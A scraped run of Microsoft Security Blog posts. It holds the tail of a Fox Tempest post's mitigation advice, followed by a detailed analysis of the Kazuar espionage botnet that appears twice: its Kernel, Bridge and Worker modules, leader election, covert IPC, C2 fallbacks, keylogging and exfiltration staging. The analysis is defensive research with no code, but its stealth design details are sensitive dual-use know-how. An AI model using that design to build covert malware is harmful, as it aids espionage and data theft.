• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Turn on tenant-wide tamper protection features to prevent attackers from stopping security services or using antivirus exclusions. Without tamper protection, attackers could simply turn off Microsoft Defender Antivirus without the need to acquire higher privileges.
  • Customers running Intune or Microsoft Defender for Endpoint Security Configuration can enable DisableLocalAdminMerge to prevent modification of antivirus exclusions via GPO. 
  • In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy.
  • If there is an issue with a device during roll out of various antivirus features, the device can be placed in troubleshooting mode to turn off tamper protection temporarily without impacting the wider organizational security policy.
• Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:
  • Use advanced protection against ransomware

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Actor profile: Fox Tempest
• Actor profile: Vanilla Tempest
• Threat Overview profile: Human-operated ransomware
• Activity profile: Vanilla Tempest leverages fake Microsoft Teams setup to deliver Oyster backdoor

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky. To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Exposing Fox Tempest: A malware-signing service operation appeared first on Microsoft Security Blog.

Kazuar, a sophisticated malware family attributed to the Russian state actor Secret Blizzard, has been under constant development for years and continues to evolve in support of espionage-focused operations. Over time, Kazuar has expanded from a relatively traditional backdoor into a highly modular peer-to-peer (P2P) botnet ecosystem designed to enable persistent, covert access to target environments.

This upgrade aligns with Secret Blizzard’s broader objective of gaining long-term access to systems for intelligence collection. The threat actor has historically targeted organizations in the government and diplomatic sector in Europe and Central Asia, as well as systems in Ukraine previously compromised by Aqua Blizzard, very likely for the purpose of obtaining information supporting Russia’s foreign policy and military objectives.

While many threat actors rely on increasing usage of native tools (living-off-the-land binaries (LOLBins)) to avoid detection, Kazuar’s progression into a modular bot highlights how Secret Blizzard is engineering resilience and stealth directly into their tooling. By separating responsibilities across Kernel, Bridge, and Worker modules and restricting external communications to a single elected leader, Kazuar reduces its observable footprint. It also maintains flexible tasking, data staging, and multiple fallback channels for command and control (C2). Understanding this architecture helps defenders move beyond single sample analysis and instead focus on the behaviors that keep the botnet operational: leader election, inter-process communication (IPC) message routing, working directory staging, and periodic exfiltration.

Kazuar’s capabilities and tradecraft have been widely documented by the security research community, and prior reporting, including Unit 42’s write-up and a recent deep dive into its loader capabilities, remains relevant today. This blog is an in-depth analysis of Kazuar’s progression from a single, monolithic framework into a modular bot ecosystem composed of three distinct module types, each with clearly defined roles. Together, these components distribute functionality across the P2P botnet, enabling flexible configuration, lower observability, and broad tasking while minimizing opportunities for detection.

Delivery

Kazuar is delivered through multiple dropper variants. In one observed method, the Pelmeni dropper embeds the encrypted second-stage payload directly within the dropper as an encrypted byte array. The payload is often bound to the target environment (for example, encrypted using the target hostname) so it only decrypts and executes on the intended host.

In another method, the dropper deploys a small .NET loader alongside the final payload. The dropper then invokes the loader (often configured as a COM object) and supplies the decrypted payload, allowing it to load and execute the Kazuar modules.

Module types

There are three distinct types of modules: Kernel, Bridge, and Worker. The next sections explain the functionality contained in each type and how they interact with each other.

This diagram shows the general interactions between a set of modules on a single host. Each infected host needs to have all three modules to create the full P2P network:

Note: We use ALL CAPS when referencing identifiers taken verbatim from the malware (for example, internal module and thread names, message types, configuration keys, or mode/flag values). 

Type: Kernel

The Kernel module serves as the central coordinator for the botnet. It issues tasks to Worker modules, manages communication with the Bridge module, and maintains logs of actions and collected data. Early in execution, the Kernel module performs extensive anti-analysis and sandbox checks. These behaviors are well documented in the Unit 42 write-up and include standard checks such as:

• Checking for running processes containing analysis tools
• Checking for canary files on the desktop
• Checking the loaded process for sandbox-related DLLs

Module configuration

Once these checks are passed, the Kernel module sets up the environment based on numerous configuration options. Previous versions of Kazuar have used separate files containing the configuration information, but these are now embedded in the samples and have significantly increased the number of configurations available to the malware family. 

The configuration set can vary across 150 different configuration types, C2 communication infrastructures, or tasking options generally defined by eight functional categories. Any operational configuration in use can be updated at any time from the C2 server. The following table contains some examples and descriptions of the categories.

This configuration exposes three internal communication mechanisms:

• Window Messaging
• Mailslot
• Named pipes

There are also three different communication protocols for external communication:

• Exchange Web Services (EWS)
• HTTP
• WebSockets (WSS)

They typically contain redundant or fallback communications to maintain access in the event of the failure of a single point of contact.

Leadership election

One of the methods that Kazuar uses to limit external communication is to use a single Kernel leader per botnet. In this architecture, the Kernel leader is the one elected Kernel module that communicates with the Bridge module on behalf of the other Kernel modules, reducing visibility by avoiding large volumes of external traffic from multiple infected hosts.

There are several conditions that determine whether a new leader needs to be elected among participating Kernel modules:

1. There currently is no leader.
2. The leader announces it is shutting down.
3. The leader announces it is logging off.
4. If an election does not result in a leader due to an error, a new election will be called.

Elections occur over Mailslot, and the leader is elected based on the amount of work (length of time the Kernel module has been running) divided by interrupts (reboots, logoffs, process terminated). Once a leader is elected, it announces itself as the leader and tells all other Kernel modules to set SILENT.

Only the elected leader is not SILENT, which allows the leader Kernel module to log activity and request tasks through the Bridge module. Client Kernel modules still participate in internal IPC (for elections, status, and delegated work), but they don’t independently request tasks from the Bridge module. Before entering SILENT mode, each client Kernel module sends a CLIENT announcement, which causes the leader to add it to the maintained agent list.

With the hierarchy established, the work can be done. Several threads and communication types are initialized to perform the work and communicate between modules.

REMO thread

The REMO thread sets up a named pipe channel between Kernel modules so the leader can exchange messages with other Kernels. By default, the pipe name is the MD5 hash of pipename-kernel-<Bot version>, which results in a pipe path such as \\.\pipe\82760B84F1D703D596C79B88BA4FAC1E. The name could be modified through additional strings passed into the name-building function, but this pattern is the default. This channel lets the leader target specific client Kernel modules when delegating work.

Messages over this pipe are AES-encrypted and begin with a PING/PONG handshake. After that, the leader could:

• Request another Kernel module’s logs
• Assign tasks to a client Kernel module

Because only the Kernel leader is allowed to request tasks through the Bridge module, it distributes work to the other Kernel clients over named pipes. If the leader receives a task destined for a different bot, it forwards the task to the appropriate client Kernel module through this channel.

MSGW thread

For Kernel-to-Worker and Kernel-to-Bridge communication, Kazuar uses one of two IPC mechanisms:

• Window Messaging [default selection]
  • Registers a hidden window
• Mailslot
  • Registers a Mailslot

Based on its initial configuration, Kazuar selects one of these communication types to listen for incoming communication, with the default being Windows Messaging.

Window Messaging setup

This technique involves creating a hidden window and registering a ClassName and WindProc. The ClassName is simply the module name (for example, Bridge), and the WindProc is the general-purpose message handler.

This allows other processes to look up the window by ClassName and use several different APIs to send a message to that window. When the window receives a message, the WindProc is executed to parse it and carry out the requested action.

Mailslot setup

The Mailslot name is derived by hashing the string “mailslot-” plus the module name (Bridge/Kernel/Worker). The configuration can optionally append an additional identifier (empty by default), which allows deployments to create distinct Mailslot namespaces when needed.

The string is hashed and used as the name to create the Mailslot: \\.\mailslot\<generated hash>.

A thread is created that checks every three seconds for new messages using the API GetMailslotInfo, and when it finds one, it parses the incoming message.

Message types

Regardless of what message delivery system is selected, the message is parsed by the same handler function. For the Kernel module, this message parsing function has numerous expected communication messages, since it controls all the modules execution flows.

The following message table describes the incoming and outgoing messages for the Kernel, what actions precipitate a message, and what the Kernel does when it receives each message:

SEND thread

The configuration specifies an external communication method from the available communication modes

• HTTP [default selection]
• Web Socket Server (WSS)
• Exchange Web Server (EWS)

These configurations can be changed at any point when the C2 sends a new configuration, or a change communication task is issued to it. It also contains a heartbeat timer that is defined in the configuration for the SEND actions to occur with the default timer being every hour. There are also working timers that can install a blackout period on communications to blend in with the target environment.

Note: Only the elected Kernel leader can perform the following actions:

• If the Kernel has task results 
  • Read in the task file
  • Send SEND message to Bridge with the task result file
• Get new tasks from Bridge
  • Send CHECK message to Bridge

Table 2 describes what the Kernel expects in return for these messages. The messages are sent asynchronously and recorded as tasks by the Kernel.

There is also a failsafe communication method that allows the Kernel to directly contact the remote C2 if the Kernel is unable to communicate with the Bridge module. Essentially, if all communication attempts fail and a certain amount of time has elapsed, the Kernel module requests tasks directly from the remote C2.

SOLV thread

This thread executes when the heartbeat timer expires to handle any tasks that the Kernel is tracking. This thread performs several functions related to the current task list:

• Loop through the list of current tasks
  • Check if aborted flag is true
    • Issue TaskKill message to the worker (Window Messaging)
    • Remove task from task list
  • Check if task has exceeded the configured max working time for task
    • Issue TaskKill message to the worker (Window Messaging)
    • Set aborted flag for task to true
    • Remove task from task list
• Read in all task files from the working directory
  • If the task is new
    • Add task to task list

Type: Bridge

The Bridge module provides the botnet’s external communications layer, acting as the proxy between the leader Kernel module and the C2 server regardless of the transport method selected. Since each Kernel module has its own Worker and Bridge module, if a new leader is elected, then that new leader Kernel module uses its Bridge module for communication. It typically has the same default configuration as the Kernel module but does contain a few different operations that set up the initial infection.

The Bridge module initializes its core object with basic metadata and instantiates two supporting components that provide the module’s primary functionality:

• Server Communication module
• Task Handling module

The module registers handlers for two system-level events. These handlers define how the module should respond when specific system events occur:

• SystemEvents.SessionEnded
• SystemEvents.PowerModeChanged

When an event is triggered, the corresponding handler function is invoked, allowing the module to determine the appropriate action for that event. Events are typically ignored unless they require explicit handling.

The module only terminates when the system is shutting down; all other events do not affect its lifetime. Based on its initial configuration, which should match the Kernel module configuration, it selects either Mailslot or Windows Messaging as the IPC mechanism used for communication between modules. Once the setup steps is completed, the module is ready to proxy communication between the leader Kernel module and the C2 server.

Type: Worker

The initial Worker configuration mirrors the structure of other module configurations and follows the same overall layout. Based on its initial configuration, the Worker module selects either Mailslot or Windows Messaging as the IPC mechanism used to communicate between modules. The default configuration for this botnet uses Windows Messaging; further details on the window setup are described below.

During initialization, the Worker configuration instantiates several objects responsible for the module’s primary functionality. Each object is executed within its own named thread. These components include:

• Task Solver
  • Handles task tracking
• Peep
  • Hooks windows events
  • Has a max number of windows to hook set by the configuration
• Keylogger
• Filesystem
  • GINFO – Gather system info
  • GFIL – Gather file listings
    • Recent files
    • Desktop
    • Malware working directory
  • GHOO – Window information
  • GMAP – Gather MAPI info
    • Email information

Data collected by these components is aggregated, encrypted, and written to the malware’s working directory, where it is staged for subsequent exfiltration to the C2 server.

Botnet operations

With the botnet setup complete, configurations instantiated, and a leader elected, Kazuar transitions into its steady state operational phase. In this state, the elected Kernel leader centrally coordinates tasking and data collection across participating modules while maintaining a deliberately low observable footprint. Worker modules execute tasks asynchronously based on configuration and assignments received from the Kernel, collecting system, file, window, and user activity data according to defined schedules and limits.

Module-to-module messaging

When one module needs to communicate with another, all required information is assembled into a structured message packet. Multiple packet formats are defined, with the specific format determined by the message type and intended action.

These message packets are constructed using Google Protocol Buffers (Protobuf), which provides a structured, schema‑based format similar in concept to JSON. Using Protobuf allows the malware to efficiently serialize, transmit, and parse messages through standard library functions.

Messages destined for the Bridge module include additional fields that describe how the request should be forwarded to the remote C2 infrastructure. These fields specify transport level details, including the external communication mechanism to be used.

The TransportType field can specify one of three supported communication methods. The default transport is typically HTTP, using the C2 URLs in the default configuration.

When sending a message, the dispatch function examines the contents of the message packet to determine the appropriate delivery mechanism, resolves the corresponding Mailslot name or window class identifier, and routes the packet to the intended module.

For example, if the TransportType is set to EWS, the packet is delivered to the Bridge module, which then uses its Exchange communication component to encapsulate the data and deliver it to the remote C2 server via email.

Messages originate from the Kernel leader, except for a couple of worker tasks that send messages to the Kernel module based on their configuration.

Working directory

Kazuar uses a dedicated working directory as a centralized on‑disk staging area to support its internal operations across modules. This directory is defined through configuration and is consistently referenced using fully qualified paths to avoid ambiguity across execution contexts. Within the working directory, Kazuar organizes data by function, isolating tasking, collection output, logs, and configuration material into distinct locations. This design allows the malware to decouple task execution from data storage and exfiltration, maintain operational state across restarts, and coordinate asynchronous activity between modules while minimizing direct interaction with external infrastructure. Collected artifacts are typically written incrementally, encrypted before staging, and retained locally until explicitly forwarded to the C2 infrastructure through the Bridge module.

Within this working directory, Kazuar maintains separate storage locations for the following functional data types:

• Peeps
• Autos
• Files
• Hashes
• Result files
• Task files
• Config files
• Common wordlist
• Common exe
• Logs
• Keylogger

This structured use of the filesystem enables Kazuar to operate modularly, maintain persistence state across leadership changes or reboots, and blend malicious activity into routine file system usage.

Module tasks

The list of commands available for the Worker modules to perform is extensive and has many features, from arbitrary command/script execution to preformatted forensic data collection functions, as described in the Unit 42 blog.

The Kernel module task handler has a few additional functions that handle commands issued from the leader Kernel module.

System info gathering

System info gathering is often enabled by default in the configuration. This causes an initial collection of system information when the agent starts up. This task collects an extensive amount of information about the system and its user.

Screenshots are also taken through various methods and saved for exfiltration both automatically through the configuration or when a task is issued.

Who is Secret Blizzard?

The United States Cybersecurity and Infrastructure Security Agency (CISA) has attributed Secret Blizzard to Center 16 of Russia’s Federal Security Service (FSB), which is one of Russia’s Signals Intelligence and Computer Network Operations (CNO) services responsible for intercepting and decrypting electronic data as well as the technical penetration of foreign intelligence targets. Secret Blizzard overlaps with activity tracked by other security vendors as VENOMOUS BEAR, Uroburos, Snake, Blue Python, Turla, WRAITH, and ATG26.

Secret Blizzard is known for targeting a wide array of verticals, but most prominently ministries of foreign affairs, embassies, government offices, defense departments, and defense-related companies worldwide. Secret Blizzard focuses on gaining long-term access to systems for intelligence collection using extensive resources such as multiple backdoors, including some with peer-to-peer functionality and C2 communication channels. During intrusions, the threat actor collects and exfiltrates documents, PDFs, and email content. In general, Secret Blizzard seeks out information of political importance with a particular interest in advanced research that might impact international political issues.

Mitigation and protection guidance

To harden networks against the Secret Blizzard activity listed above, defenders can implement the following:

Strengthen Microsoft Defender for Endpoint configuration

• Microsoft Defender XDR customers can implement attack surface reduction rules to harden an environment against techniques used by threat actors.
  • Block execution of potentially obfuscated scripts.
  • Block process creations originating from PSExec and WMI commands
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion
  • Block abuse of exploited vulnerable signed drivers.
• Enable network protection in Microsoft Defender for Endpoint.
• Ensure that tamper protection is enabled in Microsoft Defender for Endpoint.
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode.
• Configure investigation and remediation in full automated mode to let Microsoft Defender for Endpoint take immediate action on alerts to resolve breaches, significantly reducing alert volume.

Strengthen Microsoft Defender Antivirus configuration

• Turn on PUA protection in block mode in Microsoft Defender Antivirus.
• Turn on  cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving threat actor tools and techniques.
• Turn on Microsoft Defender Antivirus real-time protection.

Strengthen operating environment configuration

• Encourage users to use Microsoft Edge and other web browsers that support SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Implement PowerShell execution policies to control conditions under which PowerShell can load configuration files and run scripts.
• Turn on and monitor PowerShell module and script block logging.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Actor profile: Secret Blizzard

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise

References

• Over the Kazuar’s Nest: Cracking Down on a Freshly Hatched Backdoor Used by Pensive Ursa (Aka Turla)
• 🇷🇺 COMmand & Evade: Turla’s Kazuar v3 Loader
• Russia’s FSB malign activity: factsheet
• Hunting Russian Intelligence “Snake” Malware

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Kazuar: Anatomy of a nation-state botnet appeared first on Microsoft Security Blog.

Kazuar, a sophisticated malware family attributed to the Russian state actor Secret Blizzard, has been under constant development for years and continues to evolve in support of espionage-focused operations. Over time, Kazuar has expanded from a relatively traditional backdoor into a highly modular peer-to-peer (P2P) botnet ecosystem designed to enable persistent, covert access to target environments.

This upgrade aligns with Secret Blizzard’s broader objective of gaining long-term access to systems for intelligence collection. The threat actor has historically targeted organizations in the government and diplomatic sector in Europe and Central Asia, as well as systems in Ukraine previously compromised by Aqua Blizzard, very likely for the purpose of obtaining information supporting Russia’s foreign policy and military objectives.

While many threat actors rely on increasing usage of native tools (living-off-the-land binaries (LOLBins)) to avoid detection, Kazuar’s progression into a modular bot highlights how Secret Blizzard is engineering resilience and stealth directly into their tooling. By separating responsibilities across Kernel, Bridge, and Worker modules and restricting external communications to a single elected leader, Kazuar reduces its observable footprint. It also maintains flexible tasking, data staging, and multiple fallback channels for command and control (C2). Understanding this architecture helps defenders move beyond single sample analysis and instead focus on the behaviors that keep the botnet operational: leader election, inter-process communication (IPC) message routing, working directory staging, and periodic exfiltration.

Kazuar’s capabilities and tradecraft have been widely documented by the security research community, and prior reporting, including Unit 42’s write-up and a recent deep dive into its loader capabilities, remains relevant today. This blog is an in-depth analysis of Kazuar’s progression from a single, monolithic framework into a modular bot ecosystem composed of three distinct module types, each with clearly defined roles. Together, these components distribute functionality across the P2P botnet, enabling flexible configuration, lower observability, and broad tasking while minimizing opportunities for detection.

Delivery

Kazuar is delivered through multiple dropper variants. In one observed method, the Pelmeni dropper embeds the encrypted second-stage payload directly within the dropper as an encrypted byte array. The payload is often bound to the target environment (for example, encrypted using the target hostname) so it only decrypts and executes on the intended host.

In another method, the dropper deploys a small .NET loader alongside the final payload. The dropper then invokes the loader (often configured as a COM object) and supplies the decrypted payload, allowing it to load and execute the Kazuar modules.

Module types

There are three distinct types of modules: Kernel, Bridge, and Worker. The next sections explain the functionality contained in each type and how they interact with each other.

This diagram shows the general interactions between a set of modules on a single host. Each infected host needs to have all three modules to create the full P2P network:

Note: We use ALL CAPS when referencing identifiers taken verbatim from the malware (for example, internal module and thread names, message types, configuration keys, or mode/flag values). 

Type: Kernel

The Kernel module serves as the central coordinator for the botnet. It issues tasks to Worker modules, manages communication with the Bridge module, and maintains logs of actions and collected data. Early in execution, the Kernel module performs extensive anti-analysis and sandbox checks. These behaviors are well documented in the Unit 42 write-up and include standard checks such as:

• Checking for running processes containing analysis tools
• Checking for canary files on the desktop
• Checking the loaded process for sandbox-related DLLs

Module configuration

Once these checks are passed, the Kernel module sets up the environment based on numerous configuration options. Previous versions of Kazuar have used separate files containing the configuration information, but these are now embedded in the samples and have significantly increased the number of configurations available to the malware family. 

The configuration set can vary across 150 different configuration types, C2 communication infrastructures, or tasking options generally defined by eight functional categories. Any operational configuration in use can be updated at any time from the C2 server. The following table contains some examples and descriptions of the categories.

This configuration exposes three internal communication mechanisms:

• Window Messaging
• Mailslot
• Named pipes

There are also three different communication protocols for external communication:

• Exchange Web Services (EWS)
• HTTP
• WebSockets (WSS)

They typically contain redundant or fallback communications to maintain access in the event of the failure of a single point of contact.

Leadership election

One of the methods that Kazuar uses to limit external communication is to use a single Kernel leader per botnet. In this architecture, the Kernel leader is the one elected Kernel module that communicates with the Bridge module on behalf of the other Kernel modules, reducing visibility by avoiding large volumes of external traffic from multiple infected hosts.

There are several conditions that determine whether a new leader needs to be elected among participating Kernel modules:

1. There currently is no leader.
2. The leader announces it is shutting down.
3. The leader announces it is logging off.
4. If an election does not result in a leader due to an error, a new election will be called.

Elections occur over Mailslot, and the leader is elected based on the amount of work (length of time the Kernel module has been running) divided by interrupts (reboots, logoffs, process terminated). Once a leader is elected, it announces itself as the leader and tells all other Kernel modules to set SILENT.

Only the elected leader is not SILENT, which allows the leader Kernel module to log activity and request tasks through the Bridge module. Client Kernel modules still participate in internal IPC (for elections, status, and delegated work), but they don’t independently request tasks from the Bridge module. Before entering SILENT mode, each client Kernel module sends a CLIENT announcement, which causes the leader to add it to the maintained agent list.

With the hierarchy established, the work can be done. Several threads and communication types are initialized to perform the work and communicate between modules.

REMO thread

The REMO thread sets up a named pipe channel between Kernel modules so the leader can exchange messages with other Kernels. By default, the pipe name is the MD5 hash of pipename-kernel-<Bot version>, which results in a pipe path such as \\.\pipe\82760B84F1D703D596C79B88BA4FAC1E. The name could be modified through additional strings passed into the name-building function, but this pattern is the default. This channel lets the leader target specific client Kernel modules when delegating work.

Messages over this pipe are AES-encrypted and begin with a PING/PONG handshake. After that, the leader could:

• Request another Kernel module’s logs
• Assign tasks to a client Kernel module

Because only the Kernel leader is allowed to request tasks through the Bridge module, it distributes work to the other Kernel clients over named pipes. If the leader receives a task destined for a different bot, it forwards the task to the appropriate client Kernel module through this channel.

MSGW thread

For Kernel-to-Worker and Kernel-to-Bridge communication, Kazuar uses one of two IPC mechanisms:

• Window Messaging [default selection]
  • Registers a hidden window
• Mailslot
  • Registers a Mailslot

Based on its initial configuration, Kazuar selects one of these communication types to listen for incoming communication, with the default being Windows Messaging.

Window Messaging setup

This technique involves creating a hidden window and registering a ClassName and WindProc. The ClassName is simply the module name (for example, Bridge), and the WindProc is the general-purpose message handler.

This allows other processes to look up the window by ClassName and use several different APIs to send a message to that window. When the window receives a message, the WindProc is executed to parse it and carry out the requested action.

Mailslot setup

The Mailslot name is derived by hashing the string “mailslot-” plus the module name (Bridge/Kernel/Worker). The configuration can optionally append an additional identifier (empty by default), which allows deployments to create distinct Mailslot namespaces when needed.

The string is hashed and used as the name to create the Mailslot: \\.\mailslot\<generated hash>.

A thread is created that checks every three seconds for new messages using the API GetMailslotInfo, and when it finds one, it parses the incoming message.

Message types

Regardless of what message delivery system is selected, the message is parsed by the same handler function. For the Kernel module, this message parsing function has numerous expected communication messages, since it controls all the modules execution flows.

The following message table describes the incoming and outgoing messages for the Kernel, what actions precipitate a message, and what the Kernel does when it receives each message:

SEND thread

The configuration specifies an external communication method from the available communication modes

• HTTP [default selection]
• Web Socket Server (WSS)
• Exchange Web Server (EWS)

These configurations can be changed at any point when the C2 sends a new configuration, or a change communication task is issued to it. It also contains a heartbeat timer that is defined in the configuration for the SEND actions to occur with the default timer being every hour. There are also working timers that can install a blackout period on communications to blend in with the target environment.

Note: Only the elected Kernel leader can perform the following actions:

• If the Kernel has task results 
  • Read in the task file
  • Send SEND message to Bridge with the task result file
• Get new tasks from Bridge
  • Send CHECK message to Bridge

Table 2 describes what the Kernel expects in return for these messages. The messages are sent asynchronously and recorded as tasks by the Kernel.

There is also a failsafe communication method that allows the Kernel to directly contact the remote C2 if the Kernel is unable to communicate with the Bridge module. Essentially, if all communication attempts fail and a certain amount of time has elapsed, the Kernel module requests tasks directly from the remote C2.

SOLV thread

This thread executes when the heartbeat timer expires to handle any tasks that the Kernel is tracking. This thread performs several functions related to the current task list:

• Loop through the list of current tasks
  • Check if aborted flag is true
    • Issue TaskKill message to the worker (Window Messaging)
    • Remove task from task list
  • Check if task has exceeded the configured max working time for task
    • Issue TaskKill message to the worker (Window Messaging)
    • Set aborted flag for task to true
    • Remove task from task list
• Read in all task files from the working directory
  • If the task is new
    • Add task to task list

Type: Bridge

The Bridge module provides the botnet’s external communications layer, acting as the proxy between the leader Kernel module and the C2 server regardless of the transport method selected. Since each Kernel module has its own Worker and Bridge module, if a new leader is elected, then that new leader Kernel module uses its Bridge module for communication. It typically has the same default configuration as the Kernel module but does contain a few different operations that set up the initial infection.

The Bridge module initializes its core object with basic metadata and instantiates two supporting components that provide the module’s primary functionality:

• Server Communication module
• Task Handling module

The module registers handlers for two system-level events. These handlers define how the module should respond when specific system events occur:

• SystemEvents.SessionEnded
• SystemEvents.PowerModeChanged

When an event is triggered, the corresponding handler function is invoked, allowing the module to determine the appropriate action for that event. Events are typically ignored unless they require explicit handling.

The module only terminates when the system is shutting down; all other events do not affect its lifetime. Based on its initial configuration, which should match the Kernel module configuration, it selects either Mailslot or Windows Messaging as the IPC mechanism used for communication between modules. Once the setup steps is completed, the module is ready to proxy communication between the leader Kernel module and the C2 server.

Type: Worker

The initial Worker configuration mirrors the structure of other module configurations and follows the same overall layout. Based on its initial configuration, the Worker module selects either Mailslot or Windows Messaging as the IPC mechanism used to communicate between modules. The default configuration for this botnet uses Windows Messaging; further details on the window setup are described below.

During initialization, the Worker configuration instantiates several objects responsible for the module’s primary functionality. Each object is executed within its own named thread. These components include:

• Task Solver
  • Handles task tracking
• Peep
  • Hooks windows events
  • Has a max number of windows to hook set by the configuration
• Keylogger
• Filesystem
  • GINFO – Gather system info
  • GFIL – Gather file listings
    • Recent files
    • Desktop
    • Malware working directory
  • GHOO – Window information
  • GMAP – Gather MAPI info
    • Email information

Data collected by these components is aggregated, encrypted, and written to the malware’s working directory, where it is staged for subsequent exfiltration to the C2 server.

Botnet operations

With the botnet setup complete, configurations instantiated, and a leader elected, Kazuar transitions into its steady state operational phase. In this state, the elected Kernel leader centrally coordinates tasking and data collection across participating modules while maintaining a deliberately low observable footprint. Worker modules execute tasks asynchronously based on configuration and assignments received from the Kernel, collecting system, file, window, and user activity data according to defined schedules and limits.

Module-to-module messaging

When one module needs to communicate with another, all required information is assembled into a structured message packet. Multiple packet formats are defined, with the specific format determined by the message type and intended action.

These message packets are constructed using Google Protocol Buffers (Protobuf), which provides a structured, schema‑based format similar in concept to JSON. Using Protobuf allows the malware to efficiently serialize, transmit, and parse messages through standard library functions.

Messages destined for the Bridge module include additional fields that describe how the request should be forwarded to the remote C2 infrastructure. These fields specify transport level details, including the external communication mechanism to be used.

The TransportType field can specify one of three supported communication methods. The default transport is typically HTTP, using the C2 URLs in the default configuration.

When sending a message, the dispatch function examines the contents of the message packet to determine the appropriate delivery mechanism, resolves the corresponding Mailslot name or window class identifier, and routes the packet to the intended module.

For example, if the TransportType is set to EWS, the packet is delivered to the Bridge module, which then uses its Exchange communication component to encapsulate the data and deliver it to the remote C2 server via email.

Messages originate from the Kernel leader, except for a couple of worker tasks that send messages to the Kernel module based on their configuration.

Working directory

Kazuar uses a dedicated working directory as a centralized on‑disk staging area to support its internal operations across modules. This directory is defined through configuration and is consistently referenced using fully qualified paths to avoid ambiguity across execution contexts. Within the working directory, Kazuar organizes data by function, isolating tasking, collection output, logs, and configuration material into distinct locations. This design allows the malware to decouple task execution from data storage and exfiltration, maintain operational state across restarts, and coordinate asynchronous activity between modules while minimizing direct interaction with external infrastructure. Collected artifacts are typically written incrementally, encrypted before staging, and retained locally until explicitly forwarded to the C2 infrastructure through the Bridge module.

Within this working directory, Kazuar maintains separate storage locations for the following functional data types:

• Peeps
• Autos
• Files
• Hashes
• Result files
• Task files
• Config files
• Common wordlist
• Common exe
• Logs
• Keylogger

This structured use of the filesystem enables Kazuar to operate modularly, maintain persistence state across leadership changes or reboots, and blend malicious activity into routine file system usage.

Module tasks

The list of commands available for the Worker modules to perform is extensive and has many features, from arbitrary command/script execution to preformatted forensic data collection functions, as described in the Unit 42 blog.

The Kernel module task handler has a few additional functions that handle commands issued from the leader Kernel module.

System info gathering

System info gathering is often enabled by default in the configuration. This causes an initial collection of system information when the agent starts up. This task collects an extensive amount of information about the system and its user.

Screenshots are also taken through various methods and saved for exfiltration both automatically through the configuration or when a task is issued.

Who is Secret Blizzard?

